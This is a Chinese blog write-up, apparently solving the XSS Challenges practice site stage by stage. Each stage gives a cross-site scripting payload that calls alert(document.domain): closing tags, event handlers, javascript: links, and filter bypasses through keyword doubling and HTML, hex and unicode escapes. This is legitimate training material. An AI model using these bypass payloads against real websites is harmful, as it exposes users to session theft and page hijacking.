XSS Challenges 解题思路及技巧记录

Stage #1

地址:http://xss-quiz.int21h.jp/

首先输入“123”进行测试:

F12键查看网页源码:

发现注入点即为<b></b>标签中,构造payload闭合标签即可。

payload:

"</b><script>alert(document.domain);</script>

注入成功:

 

#######################################################################

Stage #2

地址:Stage#2

首先输入“123”进行测试:

F12键查看网页源码:

发现注入点即为<input>标签中,构造payload使<input>标签和value属性提前闭合即可。

payload:

"><script>alert(document.domain);</script>

注入成功:

#######################################################################

Stage #3

地址:Stage#3

首先输入“123”进行测试,F12键查看网页源码:

发现注入点为<b>标签处,构造构造payload使<b>标签闭合:

发现并未弹窗,查看源码发现<>被转义:

寻找其他注入点,尝试使用burpsuite抓包,修改country(Japan)值:

修改后(特殊字符使用url编码,也可不编码):

payload:

"</b><script>alert(document.domain);</script>

注入成功:

#######################################################################

Stage #4

地址:Stage#4

首先输入“123”进行初探:

发现与上一关有些类似,使用burpsuite抓包:

大大的hackme明显就是注入点了,其实p1,p2参数的值经过转义,很难注入,其实仔细查看网页源码可以发现有表单有隐藏参数,就是这个hackme:

使用burpsuite修改p3参数值:

payload:

"><script>alert(document.domain);</script>

注入成功:

#######################################################################

Stage #5

地址:Stage#5

首先输入“123”进行初探:

发现注入点依旧在value处,输入框构造payload发现长度受到限制,maxlength="15",故修改源码中长度限制:

payload:

"><script>alert(document.domain);</script>

注入成功:

#######################################################################

Stage #6

地址:Stage#6

首先输入“123”进行初探,发现注入点就在value处:

输入“"><script>alert(document.domain);</script>”发现<>被转义:

可以利用js事件避免使用<>,payload:

"onclick=alert(document.domain) 1="

或:

"onmouseover=alert(document.domain) 1="

闭合后,构成源码:

经过点击(onclick)或鼠标移动(onmouseover),注入成功:

#######################################################################

Stage #7

地址:Stage#7

输入“123”进行初探,发现注入点依旧在value处:

观察burpsuite中的响应包,发现value值后没有引号(本人暂认为这是本题中空格可以作分隔符的必要条件),但在浏览器中显示有引号,可能是浏览器自动补充的原因:

burp:  

firfox:  

构造payload进行注入发现“ " ”被转义:

利用空格分隔属性构造payload:

1 onclick=alert(document.domain)

或:

1 onmouseover=alert(document.domain)

闭合后,构成源码:

经过点击(onclick)或鼠标移动(onmouseover),注入成功:

#######################################################################

Stage #8

地址:Stage#8

输入“123”进行初探,生成一个url为123的链接:

使用javascript伪协议构造payload:

payload:

javascript: alert(document.domain)

点击生成的链接javascript: alert(document.domain),注入成功:

#######################################################################

Stage #9

地址:Stage#9

需要使用IE浏览器,暂跳过

#######################################################################

Stage #10

地址:Stage#10

输入“123”进行初探,发现注入点依旧在value处:

构造普通payload注入发现关键字domain被过滤:

再次构造payload:

"><script>alert(document.dodomainmain);</script>

过滤闭合后网页源码:

成功弹窗,注入成功:

#######################################################################

Stage #11

地址:Stage#11

输入“123”进行初探,发现注入点依旧在value处:

构造普通payload注入发现关键字script被xxx:

构造js事件发现onclick和onmouseover同样被xxx:

使用Javascript伪协议javascript: alert(document.domain),发现同样被xxx

尝试绕过检测script的正则表达式,使用html编码对script任意字符进行编码进行尝试,如对r进行html编码payload:

"><a href=javasc&#114;ipt:alert(document.domain)>hackme</a>

点击链接,注入成功:

#######################################################################

Stage #12

地址:Stage#12

需要使用IE浏览器,漏洞失时效性,暂跳过  =.=

#######################################################################

Stage #13

地址:Stage#13

需要使用IE浏览器,漏洞失时效性,暂跳过  =.=

#######################################################################

Stage #14

地址:Stage#14

需要使用IE浏览器,漏洞失时效性,暂跳过  =.=

#######################################################################

Stage #15

地址:Stage#15

查看网页源码,发现是基于Dom的xss漏洞(通过本地js语句将内容输出在浏览器中):

构造payload, <script>alert(document.domain)</script>,发现并未弹窗,继续查看此时网页源码,发现<>均被html转义,分析此处先对js编码进行解析,再对html编码进行解析,故欲采用js编码进行绕过:

xss编码问题请看我另一篇博文,链接:XSS编码绕过 浏览器解析顺序,构造payload使用js编码进行绕过   \x3cscript\x3ealert(document.domain)\x3c/script\x3e, 发现\被过滤:

重新构造payload:

\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e

注入成功:

#######################################################################

Stage #16

地址:Stage#16

与stage#15类似,构造payload进行测试  \x3cscript\x3ealert(document.domain)\x3c/script\x3e  ,发现\被过滤

再次构造payload: \\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e 进行尝试,发现\\未被过滤,未弹窗:

尝试使用unicode编码进行绕过,payload:

\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e

注入成功:

#######################################################################

Stage #17 #18

地址:Stage#17  Stage#18

均需要使用IE浏览器,漏洞失时效性,暂跳过  =.=

完结

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值